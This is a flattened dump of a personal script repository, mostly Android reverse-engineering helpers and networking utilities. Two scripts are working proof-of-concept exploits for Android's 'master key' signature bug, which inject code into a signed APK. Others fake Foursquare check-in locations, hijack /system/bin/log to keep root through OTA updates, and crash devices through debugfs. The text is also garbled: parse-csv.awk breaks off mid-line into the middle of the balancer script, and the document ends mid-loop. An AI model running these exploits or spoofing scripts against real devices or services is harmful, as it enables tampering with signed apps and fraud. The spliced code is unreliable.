├── 4square └── 4sq-cheat.sh ├── README.md ├── android ├── ab2tar ├── android-dos.sh ├── apk2java ├── apkcert.sh ├── apktool ├── bootunlocker-nexus7.sh ├── change-mac-nexus4.sh ├── ded ├── dedexer ├── dex2jar ├── droiddraw ├── fix-dex-checksum.sh ├── gcc-android ├── get_android_service_call_numbers.sh ├── keeproot.sh ├── masterkey-apk-inject.sh ├── masterkey.sh ├── mount-android.sh ├── oat2dex.sh └── signapk ├── awk ├── cip.awk └── parse-csv.awk ├── balancer └── generic-balancer.sh ├── box └── mount-box.sh ├── bwmeter └── bwmeter.sh ├── dd-optimal └── ddopt.sh ├── deb └── debianize-ppa.sh ├── dragracing └── dragpatcher.php ├── esnic └── check-esnic.sh ├── exif └── exif2maps.sh ├── expect └── remote-ssh.expect ├── keyboard └── fixkeyboard.sh ├── latency ├── check-latency.sh └── newqos ├── process-dumper └── process-dumper.sh ├── simyo ├── README.md ├── old │ ├── v1 │ │ └── simyo.sh │ └── v2 │ │ ├── simyo.sh │ │ └── tripledes.php └── simyo.py ├── slideshare └── slideshare.sh ├── snmp └── test-snmp.sh ├── sql ├── create-db.sh ├── csv2sql.sh └── sql2csv.sh ├── switch ├── geoip.py └── usf2.sh ├── trim └── trim.pl ├── tv3 └── tv3-donwload.sh ├── unity ├── kick-unity ├── kick-unity2d └── lockscreen.sh ├── wifi ├── ap │ ├── cisco-1100.sh │ ├── cisco-350vxw.sh │ ├── linksys-WAP200.sh │ ├── linksys-WAP2000.sh │ ├── linksys-ip.sh │ └── new-cacti-ap.sh ├── calcwlan-ng.py ├── calcwlan-ng.sh ├── capture-wifi.sh ├── changewifimac.sh ├── hotspot-bypass-android.sh ├── hotspot-bypass.sh ├── nm.sh ├── reboot-vodafone.sh └── switch-wifi-driver.sh ├── wii └── wii-iso-to-usb.sh ├── xrandr └── xrandr-mirror.sh └── youtube ├── gamespot.sh ├── twitch.sh └── youtube2mp3.sh /4square/4sq-cheat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # forsquare automatic checkin 3 | # (c)2010 Pau Oliva 4 | 5 | EMAIL="your@email.com" 6 | PASS="your_password" 7 | 8 | if [ -z $1 ]; then echo "Usage: $0 " ; exit 1 ; fi 9 | 10 | # see: (http://foursquare.com/venue/4218564) 11 | venue=$1 12 | 13 | TEMP=`mktemp` 14 | curl -s -A "Mozilla" "http://foursquare.com/venue/$venue" -o $TEMP 15 | geolat=`cat $TEMP |grep "og:latitude" |cut -f 2 -d "\""` 16 | geolong=`cat $TEMP |grep "og:longitude" |cut -f 2 -d "\""` 17 | rm $TEMP 18 | 19 | echo "geolocation: $geolat, $geolong" 20 | 21 | # randomize the lat/lon a bit so we don't use always the same exact location 22 | 23 | # get two 3 digit random numbers 24 | rndlat=`echo ${RANDOM}${RANDOM}${RANDOM} |cut -c 1-3` 25 | rndlon=`echo ${RANDOM}${RANDOM}${RANDOM} |cut -c 1-3` 26 | 27 | # cut the last 3 digit from the actual lat/long 28 | shortlat=`echo $geolat |rev |cut -c 4- |rev` 29 | shortlon=`echo $geolong |rev |cut -c 4- |rev` 30 | 31 | # generate the randomized lat/lon 32 | geolat=${shortlat}${rndlat} 33 | geolong=${shortlon}${rndlon} 34 | 35 | echo "randomized location: $geolat, $geolong" 36 | 37 | UA="pof-checkin:1.0" 38 | curl -A "$UA" -u "$EMAIL:$PASS" -d "vid=$venue&geolat=$geolat&geolong=$geolong" "http://api.foursquare.com/v1/checkin" -o $TEMP 39 | tidy -xml $TEMP 2>/dev/null 40 | rm $TEMP 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | random-scripts 2 | ============== 3 | 4 | This is a collection of random scripts I use from time to time. 5 | 6 | License is WTFPL: Do What The Fuck You Want Public License, unless specified in the script itself. 7 | -------------------------------------------------------------------------------- /android/ab2tar: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # convert android 'adb backup' unencrypted archives to tar format 3 | 4 | if [ ! -e "$1" ]; then 5 | echo "Usage: $0 " 6 | exit 1 7 | fi 8 | 9 | echo "$1" |grep ".ab$" 2>&1 >/dev/null 10 | if [ "$?" != "0" ]; then 11 | echo "ERROR: $1 must be a .ab file" 12 | exit 1 13 | fi 14 | 15 | DST=`echo "$1" |sed -e "s/.ab$//g"` 16 | 17 | echo "Converting: $1 -> ${DST}.tar" 18 | #dd if="$1" bs=1 skip=24|openssl zlib -d > "${DST}.tar" 19 | dd if="$1" bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" > "${DST}.tar" 20 | -------------------------------------------------------------------------------- /android/android-dos.sh: -------------------------------------------------------------------------------- 1 | # find crashes in Android debugfs - should work on standard android with toolbox 2 | # (c) 2012 Pau Oliva Fora - viaForensics 3 | # 4 | # run: android-dos.sh /sys/kernel/debug 5 | # after you get a reboot/crash, add it as a parameter to exclude it on the next run: 6 | # android-dos.sh /sys/kernel/debug exclude1 exclude2, etc... 7 | 8 | l=$1/* 9 | shift 10 | s=$* 11 | for g in $l ; do 12 | if [ -z "$s" ]; then s=NoNeXiStEnT ; fi 13 | if [ -d "$g" ]; then $0 "$g" $s ; fi 14 | f=0 15 | for n in $s ; do 16 | echo "$g" |grep -v "$n" >/dev/null 17 | if [ "$?" -eq "1" ]; then f=1 ; fi 18 | done 19 | if [ $f -eq 0 ]; then 20 | echo $g 21 | cat "$g" >/dev/null 2>&1 22 | else 23 | echo "================= skipping $g" 24 | fi 25 | done 26 | -------------------------------------------------------------------------------- /android/apk2java: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -e "$1" ]; then 4 | echo "USAGE: $0 file." 5 | exit 1 6 | fi 7 | 8 | FILE=`echo "$1" |sed -e "s/.apk$//gI" -e"s/.dex$//gI"` 9 | CURPATH=`pwd` 10 | TMPDIR="/tmp/apk2java.$$" 11 | 12 | dex2jar "${1}" 13 | 14 | mkdir -p "${TMPDIR}" 15 | mv "${FILE}.jar" "${TMPDIR}/" 16 | cd "${TMPDIR}" 17 | unzip "${TMPDIR}/${FILE}.jar" 18 | rm "${TMPDIR}/${FILE}.jar" 19 | #for d in `find . -iname "*.class" |xargs -n 1 dirname |uniq` ; do 20 | # cd ${d} 21 | # jad *.class 22 | # rm *.class 23 | # for j in `ls *.jad` ; do 24 | # t=`echo $j |sed -e "s/.jad$/.java/g"` 25 | # mv ${j} ${t} 26 | # done 27 | # cd ${TMPDIR} 28 | #done 29 | jad -o -r -sjava -dsrc './**/*.class' 30 | mkdir -p "${CURPATH}/${FILE}/java/" 31 | mv src/* "${CURPATH}/${FILE}/java/" 32 | cd "${CURPATH}" 33 | rm -r "${TMPDIR}" 34 | -------------------------------------------------------------------------------- /android/apkcert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -e "$1" ]; then 4 | echo "Usage: $0 " 5 | exit 1 6 | fi 7 | 8 | unzip $1 META-INF/*.RSA -d /tmp/apkcert.$$/ 9 | openssl pkcs7 -inform DER -in /tmp/apkcert.$$/META-INF/*.RSA -noout -print_certs -text 10 | #openssl pkcs7 -inform DER -in /tmp/META-INF/CERT.RSA -out CERT.pem -outform PEM -print_certs 11 | keytool -printcert -file /tmp/apkcert.$$/META-INF/*.RSA 12 | jarsigner -verify -certs -verbose $1 13 | -------------------------------------------------------------------------------- /android/apktool: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | java -jar /home/pau/bin/apktool.jar $* 3 | -------------------------------------------------------------------------------- /android/bootunlocker-nexus7.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | # for nexus7 (2012) only. 4 | # see: http://forum.xda-developers.com/showthread.php?t=2068207 5 | 6 | case $1 in 7 | "lock") 8 | echo "[x] Locking bootloader..." 9 | echo 0 > /sys/block/mmcblk0boot0/force_ro 10 | dd if=/system/usr/bootunlock/locked-mmcblk0boot0.img of=/dev/block/mmcblk0boot0 11 | echo 1 > /sys/block/mmcblk0boot0/force_ro 12 | echo "[x] Bootloader locked!" 13 | 14 | ;; 15 | "unlock") 16 | echo "[x] Unlocking bootloader..." 17 | echo 0 > /sys/block/mmcblk0boot0/force_ro 18 | dd if=/system/usr/bootunlock/unlocked-mmcblk0boot0.img of=/dev/block/mmcblk0boot0 19 | echo 1 > /sys/block/mmcblk0boot0/force_ro 20 | echo "[x] Bootloader unlocked!" 21 | ;; 22 | *) 23 | echo "Usage: $0 " 24 | exit 1 25 | ;; 26 | esac 27 | -------------------------------------------------------------------------------- /android/change-mac-nexus4.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | # 3 | # change wifi MAC address on Nexus 4. 4 | # The original MAC address will be restored upon reboot. 5 | # 6 | # - Needs radare2 & busybox installed 7 | # (c) 2013 Pau Oliva (@pof) 8 | 9 | mymac=`ip addr show wlan0 |grep link/ether |awk '{print $2}' |sed -e "s/://g"` 10 | newmac=`echo $1 |sed -e "s/://g"` 11 | 12 | len=`echo -n ${mymac} |wc -c` 13 | if [ "$len" != "12" ]; then 14 | echo "ERROR: is busybox installed?" 15 | exit 1 16 | fi 17 | 18 | len=`echo -n ${newmac} |wc -c` 19 | if [ "$len" != "12" ]; then 20 | echo "Usage: $0 <12-hex-digit-MAC-address>" 21 | exit 1 22 | fi 23 | 24 | sed -i "s/${mymac}/${newmac}/gI" /data/misc/wifi/WCNSS_qcom_cfg.ini 25 | /data/data/org.radare.installer/radare2/bin/r2 -c "wx ${newmac}@0xa" -n -q -w /data/misc/wifi/WCNSS_qcom_wlan_nv.bin 26 | -------------------------------------------------------------------------------- /android/ded: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -e "$1" ]; then 4 | echo "USAGE: $0 file." 5 | exit 1 6 | fi 7 | 8 | CURPATH=`pwd` 9 | FILEPATH=`dirname $1` 10 | FILENAME=`basename $1` 11 | if [ "${FILEPATH}" == "." ]; then 12 | FILEPATH="${CURPATH}" 13 | fi 14 | FILE="${FILEPATH}/${FILENAME}" 15 | 16 | TMPDIR="/tmp/ded.$$" 17 | mkdir -p "${TMPDIR}" 18 | cd "${TMPDIR}" 19 | 20 | echo "${FILE}" |cut -c 3- |grep -i apk 2>&1 >/dev/null 21 | if [ $? == 0 ]; then 22 | unzip "${FILE}" classes.dex 23 | else 24 | cp "${FILE}" ./classes.dex 25 | fi 26 | 27 | /opt/ded/ded.sh "${TMPDIR}/classes.dex" -c 28 | 29 | mv /opt/ded/retargeted/ /opt/ded/optimized-decompiled/ /opt/ded/optimized/ "${CURPATH}" 30 | cd "${CURPATH}" 31 | rm -rf "${TMPDIR}" 32 | -------------------------------------------------------------------------------- /android/dedexer: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ -z $1 ]; then 3 | echo "USAGE: $0 " 4 | exit 1 5 | fi 6 | 7 | mkdir -p ./ddx 8 | if [ $? != 0 ]; then 9 | echo "Could not create ./ddx" 10 | exit 1 11 | fi 12 | 13 | java -jar /home/pau/bin/ddx1.22.jar -d ./ddx/ $1 14 | -------------------------------------------------------------------------------- /android/dex2jar: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ ! -e "$1" ]; then 4 | echo "USAGE: $0 file." 5 | exit 1 6 | fi 7 | 8 | FILE=`echo "$1" |sed -e "s/.apk$//gI" -e"s/.dex$//gI"` 9 | echo "FILE: $FILE" 10 | CURPATH=`pwd` 11 | TMPDIR="/tmp/dex2jar.$$" 12 | 13 | mkdir -p "${TMPDIR}" 14 | 15 | /home/pau/bin/dex2jar-src/d2j-dex2jar.sh -s -f -o ${FILE}.jar "$1" 2>&1 |tee -a ${TMPDIR}/dex2jar.out 16 | cat ${TMPDIR}/dex2jar.out |grep "Exception" >/dev/null 17 | if [ $? == 0 ]; then 18 | echo "dex2jar failed - trying with older version" 19 | # dex2jar version: reader-1.3, translator-0.0.9.2-SNAPSHOT, ir-1.0 20 | # this should work with APK that have been hosed with hosedex2jar http://www.decompilingandroid.com/hosedex2jar/ 21 | cd ${TMPDIR} 22 | unzip "${CURPATH}/${1}" classes.dex 23 | /home/pau/bin/dex-translator-0.0.9.2-SNAPSHOT/dex2jar.sh ${TMPDIR}/classes.dex 24 | mv classes_dex2jar.jar "${CURPATH}/${FILE}.jar" 25 | fi 26 | cd ${CURPATH} 27 | rm -rf ${TMPDIR} 28 | -------------------------------------------------------------------------------- /android/droiddraw: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | java -jar /home/pau/bin/droiddraw.jar 3 | -------------------------------------------------------------------------------- /android/fix-dex-checksum.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | if [ ! -e "$1" ]; then 3 | echo "Usage: `basename $0` " 4 | exit 1 5 | fi 6 | radare2 -nwq -c 'wx `#sha1 $s-32 @32` @12 ; wx `#adler32 $s-12 @12` @8' $1 7 | -------------------------------------------------------------------------------- /android/gcc-android: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # android gcc wrapper 3 | if [ -n "${NDK_ARCH}" ]; then 4 | ARCH=${NDK_ARCH} 5 | else 6 | #ARCH=mips 7 | ARCH=arm 8 | #ARCH=x86 9 | fi 10 | 11 | #------------------------------------------# 12 | 13 | ANDROID_NDK=/home/pau/Development/android-ndk-r8e/ 14 | PROGDIR=${ANDROID_NDK} 15 | PROGDIR=`cd $PROGDIR && pwd` 16 | 17 | OS=`uname | tr 'A-Z' 'a-z'` 18 | [ "${OS}" = macos ] && OS=darwin 19 | 20 | case "${ARCH}" in 21 | arm) 22 | ANDROID_SDK_VERSION=8 23 | NDKPFX=${ARCH}-linux-androideabi 24 | ;; 25 | mips) 26 | ANDROID_SDK_VERSION=9 #mips 27 | NDKPFX=mips-linux-android 28 | ${NDKPFX}-gcc 2>/dev/null 29 | if [ $? -gt 1 ]; then 30 | NDKPFX=mipsel-linux-android 31 | fi 32 | ;; 33 | x86) 34 | ANDROID_SDK_VERSION=9 #x86 35 | NDKPFX=i686-android-linux 36 | ${NDKPFX}-gcc 2>/dev/null 37 | if [ $? -gt 1 ]; then 38 | NDKPFX=i686-linux-android 39 | fi 40 | ;; 41 | esac 42 | 43 | 44 | PLATFORM=android-${ANDROID_SDK_VERSION} 45 | PLATFORM_ROOT=${PROGDIR}/platforms/${PLATFORM}/arch-${ARCH} 46 | PLATFORM_PATH=${PLATFORM_ROOT}/usr 47 | TOOLCHAIN=`ls ${PROGDIR}/toolchains/ |grep "^${ARCH}" |grep -v clang |sort |tail -n 1` 48 | PREBUILT=`ls ${PROGDIR}/toolchains/${TOOLCHAIN}/prebuilt/ |grep "^${OS}" |sort |tail -n 1` 49 | NDK_BINS=${PROGDIR}/toolchains/${TOOLCHAIN}/prebuilt/${PREBUILT}/bin 50 | CFLAGS="--sysroot=${PLATFORM_ROOT}" 51 | CFLAGS="${CFLAGS} -I${PLATFORM_PATH}/include" 52 | LDFLAGS=-L${PLATFORM_PATH}/lib 53 | #LDFLAGS="${LDFLAGS} -nostdlib" 54 | #LDFLAGS="${LDFLAGS} -lc -ldl" 55 | #LDFLAGS="${LDFLAGS} -Wl,-dynamic-linker=/system/bin/linker" 56 | 57 | LDFLAGS="${LDFLAGS} --sysroot=${PLATFORM_ROOT}" 58 | #if [ -z "`echo $@ | grep shared`" ]; then 59 | #LDFLAGS="${LDFLAGS} ${PLATFORM_PATH}/lib/crtbegin_dynamic.o" 60 | #fi 61 | CC=${NDKPFX}-gcc 62 | AR=${NDKPFX}-ar 63 | EXT_SO=so 64 | 65 | export PATH=${NDK_BINS}:$PATH 66 | export EXT_SO AR CC CFLAGS LDFLAGS PATH 67 | #echo ${CC} ${CFLAGS} ${LDFLAGS} $@ 68 | ${CC} ${CFLAGS} ${LDFLAGS} $@ 69 | -------------------------------------------------------------------------------- /android/get_android_service_call_numbers.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # taken from: # http://ktnr74.blogspot.com/2014/09/calling-android-services-from-adb-shell.html 3 | 4 | ADBShell () { adb ${2+-s} $2 shell "$1" | tr -d '\r' 5 | } 6 | 7 | GetAndroidVersion () { 8 | GOOGLE_SOURCE="https://android.googlesource.com" 9 | REPO="platform/frameworks/base" 10 | ALL_TAGS=$(wget -qO - "$GOOGLE_SOURCE/$REPO/+refs/tags/?format=text" | \ 11 | tr -d '^{}' | cut -d/ -f3 | sort -u | grep -vE -- '-(cts|sdk)-' | grep -v "_r0") 12 | TAG=${1:-$(ADBShell 'getprop ro.build.version.release')} 13 | echo -e "ANDROID_SERIAL=$ANDROID_SERIAL\nro.build.version.release=$TAG" 1>&2 14 | TAG=$(echo "$ALL_TAGS" | grep -- "android-${TAG//./\.}" | head -n 1) 15 | echo -e "TAG=$TAG" 1>&2 16 | [ "-$TAG" != "-" ] && return 0 17 | echo -e "TAG not valid!\n\nList of valid tags: "$ALL_TAGS 1>&2 18 | exit 1 19 | } 20 | 21 | 22 | GetServicePackageName () { 23 | SERVICE_PACKAGE=$(ADBShell 'service list' | grep "\s$1: \[" | head -n 1 | tr '[]' '""' | cut -d\" -f2) 24 | echo -e "SERVICE=$1\nSERVICE_PACKAGE=$SERVICE_PACKAGE" 1>&2 25 | } 26 | 27 | GetGoogleSourceFile () { 28 | #echo -e "downloading $GOOGLE_SOURCE/$REPO/+/$1/$2" 1>&2 29 | [ "-$1" == "-" ] && return 1 30 | wget -qO - "$GOOGLE_SOURCE/$REPO/+/$1/$2?format=text" | base64 -d 31 | } 32 | 33 | GetAllServices () { 34 | ALL_SERVICES=$(GetGoogleSourceFile "$TAG" "Android.mk" | tr -d ' \\\t' | grep "\.aidl$" | \ 35 | head -n 1 | sort -u | grep -v "^framework") 36 | } 37 | 38 | ParseServiceAIDL () { 39 | GetGoogleSourceFile "$TAG" $(echo "$ALL_SERVICES" | grep "${SERVICE_PACKAGE//.//}\.aidl$" | head -n 1) | \ 40 | tr -d '\n\r' | gcc -P -E - | tr '{};' '\n\n\n' | grep -v ^$ | sed -e '1,/interface\s/ d' | cat -n 41 | } 42 | 43 | AbortIfExecutableMissing () { 44 | BIN=($@) 45 | MISSINGBIN=$(for B in ${BIN[@]}; do [ "$(which $B 2>/dev/null)-" == "-" ] && echo $B; done) 46 | [ "${MISSINGBIN}-" == "-" ] && return 0 47 | echo -e "Can't find the following executables: "$MISSINGBIN 48 | exit 1 49 | } 50 | 51 | AbortIfExecutableMissing "adb wget gcc tr sed awk cut grep basename dirname head base64" 52 | 53 | GetAndroidVersion 54 | GetAllServices 55 | GetServicePackageName $1 56 | 57 | ParseServiceAIDL 58 | 59 | exit 0 60 | -------------------------------------------------------------------------------- /android/keeproot.sh: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | # 3 | # OTA "root keeper" for Android 4.3+ 4 | # 5 | # - if you have (old) SuperSU: chattr -i /system/etc/install-recovery.sh, otherwise OTA will fail 6 | # - if you have SuperSU pro, don't use this script. Use SuperSU OTA Survival feature. 7 | # 8 | # install instructions: 9 | # 1) copy this script to /system/xbin/keeproot.sh and make it executable. 10 | # 2) rm /system/bin/log && ln -s /system/xbin/keeproot.sh /system/bin/log 11 | # 12 | 13 | if [ "$2" == "recovery" ]; then 14 | grep "daemon" /system/etc/install-recovery.sh >/dev/null 2>/dev/null 15 | if [ $? -eq 1 ]; then 16 | 17 | mount -o remount,rw /system 18 | 19 | chown root.root /system/xbin/su 20 | chmod 6755 /system/xbin/su 21 | 22 | chown root.root /system/xbin/daemonsu 2>/dev/null 23 | chmod 6755 /system/xbin/daemonsu 2>/dev/null 24 | 25 | cat >>/system/etc/install-recovery.sh <<-EOF 26 | # koush SuperUser 27 | /system/xbin/su --daemon & 28 | # Chainfire SuperSU 29 | /system/xbin/daemonsu --auto-daemon & 30 | /system/etc/install-recovery-2.sh 31 | EOF 32 | 33 | mount -o remount,ro /system 34 | 35 | grep "daemon" /system/etc/install-recovery.sh >/dev/null 2>/dev/null 36 | if [ $? -eq 0 ]; then 37 | /system/etc/install-recovery.sh >/dev/null 2>/dev/null & 38 | fi 39 | fi 40 | fi 41 | toolbox log ${1+"$@"} 42 | -------------------------------------------------------------------------------- /android/masterkey-apk-inject.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # PoC for Android bug 8219321 by @pof 3 | # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 4 | 5 | if [ $# != 2 ]; then echo "Usage: $0 " ; exit 1 ; fi 6 | 7 | PLATFORM="$1" 8 | INJECT="$2" 9 | 10 | if [ ! -f "$PLATFORM" ]; then echo "ERROR: $PLATFORM does not exist" ; exit 1; fi 11 | if [ ! -f "$INJECT" ]; then echo "ERROR: $INJECT does not exist" ; exit 1; fi 12 | 13 | mkdir tmp 14 | cd tmp 15 | unzip ../$PLATFORM 16 | cp ../$INJECT ./out.apk 17 | 18 | cat >poc.py <<-EOF 19 | #!/usr/bin/python 20 | import zipfile 21 | import sys 22 | z = zipfile.ZipFile(sys.argv[1], "a") 23 | z.write(sys.argv[2]) 24 | z.close() 25 | EOF 26 | chmod 755 poc.py 27 | 28 | for f in `find . -type f |sed -e "s:^\./::g" |egrep -v "(poc.py|out.apk)"` ; do aapt add -v out.apk "$f" ; if [ $? != 0 ]; then ./poc.py out.apk "$f" ; fi ; done 29 | 30 | SN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Serial Number" |awk '{print $3}' |cut -f 1 -d "/"` 31 | CN=`openssl pkcs7 -inform DER -in META-INF/*.RSA -noout -print_certs -text |grep "Issuer:" |sed -e "s/ /\n/g" |grep "^CN=" |cut -f 1 -d "/" |sed -e "s/^CN=//g"` 32 | 33 | cp out.apk ../evil-${SN}-${CN}-${PLATFORM} 34 | cd .. 35 | rm -rf tmp 36 | echo "Modified APK: evil-${SN}-${CN}-${PLATFORM}" 37 | -------------------------------------------------------------------------------- /android/masterkey.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # PoC for Android bug 8219321 by @pof 3 | # +info: https://jira.cyanogenmod.org/browse/CYAN-1602 4 | if [ -z $1 ]; then echo "Usage: $0 " ; exit 1 ; fi 5 | APK=$1 6 | rm -r out out.apk tmp 2>/dev/null 7 | #java -jar apktool.jar d $APK out 8 | apktool d $APK out 9 | echo "Modify files, when done type 'exit'" 10 | cd out 11 | bash 12 | cd .. 13 | #java -jar apktool.jar b out out.apk 14 | apktool b out out.apk 15 | mkdir tmp 16 | cd tmp/ 17 | unzip ../$APK 18 | mv ../out.apk . 19 | cat >poc.py <<-EOF 20 | #!/usr/bin/python 21 | import zipfile 22 | import sys 23 | z = zipfile.ZipFile(sys.argv[1], "a") 24 | z.write(sys.argv[2]) 25 | z.close() 26 | EOF 27 | chmod 755 poc.py 28 | for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; done 29 | cp out.apk ../evil-$APK 30 | cd .. 31 | rm -rf tmp out 32 | echo "Modified APK: evil-$APK" 33 | -------------------------------------------------------------------------------- /android/mount-android.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ "$1" == "-u" ]; then 4 | echo "umounting /home/pau/android" 5 | fusermount -u /home/pau/android 6 | adb kill-server 2>/dev/null 7 | exit 0 8 | fi 9 | 10 | if [ "$1" == "-a" ]; then 11 | echo "mounting /home/pau/android via adbfs" 12 | adbfs /home/pau/android/ -o modules=subdir -o subdir=/mnt/sdcard/ 13 | exit $? 14 | fi 15 | 16 | #needs aptitude install mtpfs 17 | echo "mounting /home/pau/android via mtpfs" 18 | mount.mtpfs /home/pau/android/ 19 | exit $? 20 | -------------------------------------------------------------------------------- /android/oat2dex.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Extract DEX file from inside Android Runtime OAT file using radare2 3 | # (c)2013 Pau Oliva (@pof) 4 | 5 | OAT="$1" 6 | if [ -z "${OAT}" ]; then 7 | echo "Usage: $0 " 8 | exit 0 9 | fi 10 | HITS=( $(r2 -n -q -c '/ dex\n035' "${OAT}" 2>/dev/null |grep hit |awk '{print $1}') ) 11 | if [ ${#HITS[@]} -eq 0 ]; then 12 | echo "[-] ERROR: Can't find dex headers" 13 | exit 1 14 | elif [ ${#HITS[@]} -eq 1 ]; then 15 | echo "[+] DEX header found at address: ${HITS[0]}" 16 | else 17 | echo "[+] Multiple DEX headers found at addresses:" 18 | for addr in ${HITS[@]}; do echo " $addr"; done 19 | fi 20 | 21 | for DEX_ADDR in ${HITS[@]}; do 22 | SIZE=$(r2 -n -q -c "pf i @${DEX_ADDR}+32 ~[2]" "${OAT}" 2>/dev/null) 23 | echo "[+] Dex file size: ${SIZE} bytes" 24 | r2 -q -c "pr ${SIZE} @${DEX_ADDR} > ${OAT}.${DEX_ADDR}.dex" "${OAT}" 2>/dev/null 25 | if [ $? -eq 0 ]; then 26 | echo "[+] Dex file dumped to: ${OAT}.${DEX_ADDR}.dex" 27 | else 28 | echo "[-] ERROR: Something went wrong :(" 29 | fi 30 | done 31 | -------------------------------------------------------------------------------- /android/signapk: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | FILE=$1 4 | 5 | if [ ! -e "${FILE}" ]; then 6 | echo "USAGE: $0 " 7 | exit 1 8 | fi 9 | 10 | if [ ! -d "/tmp/signapk" ]; then 11 | 12 | mkdir -p /tmp/signapk 13 | openssl genrsa -out /tmp/signapk/key.pem 1024 14 | openssl req -new -key /tmp/signapk/key.pem -out /tmp/signapk/request.pem 15 | openssl x509 -req -days 9999 -in /tmp/signapk/request.pem -signkey /tmp/signapk/key.pem -out /tmp/signapk/certificate.pem 16 | openssl pkcs8 -topk8 -outform DER -in /tmp/signapk/key.pem -inform PEM -out /tmp/signapk/key.pk8 -nocrypt 17 | 18 | fi 19 | 20 | FNAME=`echo ${FILE} |sed -e "s/.apk$//g"` 21 | java -jar /home/pau/bin/signapk.jar /tmp/signapk/certificate.pem /tmp/signapk/key.pk8 ${FNAME}.apk ${FNAME}-signed.apk 22 | -------------------------------------------------------------------------------- /awk/cip.awk: -------------------------------------------------------------------------------- 1 | #!/usr/bin/awk -f 2 | # 3 | # Convert IP addresses between dotted decimal and binary. 4 | # 'Binary' means 32 bits interpreted as a signed int. 5 | # Sorry, can't handle IPv6. 6 | # 7 | # run like this: echo "167772172" |./cip.awk 8 | 9 | #BEGIN { 10 | # FS="," 11 | #} 12 | 13 | function ltrim(s) { sub(/^[ \t]+/, "", s); return s } 14 | function rtrim(s) { sub(/[ \t]+$/, "", s); return s } 15 | function trim(s) { return rtrim(ltrim(s)); } 16 | function cip(s) { 17 | sign=substr(s,0,1); 18 | if (sign == "-") { 19 | s = substr(s,2) 20 | s = strtonum(0xffffffff)-strtonum(s)+1; 21 | } 22 | hex = sprintf("%08X",s); 23 | oct1=substr(hex,0,2); 24 | oct1=strtonum(sprintf("0x%s",oct1)); 25 | oct2=substr(hex,3,2); 26 | oct2=strtonum(sprintf("0x%s",oct2)); 27 | oct3=substr(hex,5,2); 28 | oct3=strtonum(sprintf("0x%s",oct3)); 29 | oct4=substr(hex,7,2); 30 | oct4=strtonum(sprintf("0x%s",oct4)); 31 | s=sprintf("%d.%d.%d.%d",oct1,oct2,oct3,oct4); 32 | return s 33 | } 34 | 35 | $1 { 36 | print cip(trim($1)) 37 | } 38 | -------------------------------------------------------------------------------- /awk/parse-csv.awk: -------------------------------------------------------------------------------- 1 | #!/usr/bin/awk -f 2 | { 3 | n = parse_csv($0, data) 4 | for (i = 0; ++i <= n;) { 5 | gsub(/,/, "\\,", data[i]) #poso antibarra daban les comes 6 | gsub(/;/,"", data[i]) #elimino punts i comes 7 | gsub(/\t/," ", data[i]) #elimino tabs 8 | # printf "%s;%s", data[i], (i < n ? OFS : RS) 9 | printf "%s", data[i] 10 | if (i @eslack.org" 64 | echo 65 | 66 | case $1 in 67 | start) PARAM="add" ;; 68 | stop) PARAM="del" ;; 69 | *) echo "Usage: $0 [start|stop]" ; echo ; exit 1 ;; 70 | esac 71 | 72 | if [ $(whoami) != "root" ]; then 73 | echo "You must be root to run this!" ; echo ; exit 1 74 | fi 75 | 76 | routecmd="ip route replace default scope global" 77 | 78 | i=1 79 | for iface in $WANIFACE ; do 80 | 81 | IP=`ifconfig $iface |grep "inet addr" |cut -f 2 -d ":" |awk '{print $1}'` 82 | NET=$(getvalue $i "$NETWORKS") 83 | GW=$(getvalue $i "$GATEWAYS") 84 | WT=$(getvalue $i "$WEIGHTS") 85 | 86 | echo "[] Interface: ${iface}" 87 | if [ $VERBOSE -eq 1 ]; then 88 | echo " IP: ${IP}" 89 | echo " NET: ${NET}" 90 | echo " GW: ${GW}" 91 | echo " Weight: ${WT}" 92 | echo 93 | fi 94 | set -x 95 | ip route ${PARAM} ${NET} dev ${iface} src ${IP} table ${i} 96 | ip route ${PARAM} default via ${GW} table ${i} 97 | ip rule ${PARAM} from ${IP} table ${i} 98 | set +x 99 | echo 100 | routecmd="${routecmd} nexthop via ${GW} dev ${iface} weight ${WT}" 101 | i=$(($i + 1)) 102 | done 103 | 104 | echo "[] Balanced routing:" 105 | 106 | set -x 107 | ${routecmd} 108 | set +x 109 | echo 110 | 111 | if [ $PARAM == "del" ] || [ $WATCHDOG != "yes" ]; then 112 | exit 0 113 | fi 114 | 115 | echo "[] Watchdog started" 116 | # 0 == all links ok, 1 == some link down 117 | STATE=0 118 | 119 | while : ; do 120 | 121 | if [ $VERBOSE -eq 1 ]; then 122 | echo "[`date '+%H:%M:%S'`] Sleeping, state=$STATE" 123 | fi 124 | sleep 30s 125 | 126 | IFINDEX=1 127 | DOWN="" 128 | DOWNCOUNT=0 129 | for iface in $WANIFACE ; do 130 | 131 | FAIL=0 132 | COUNT=0 133 | IP=`ifconfig $iface |grep "inet addr" |cut -f 2 -d 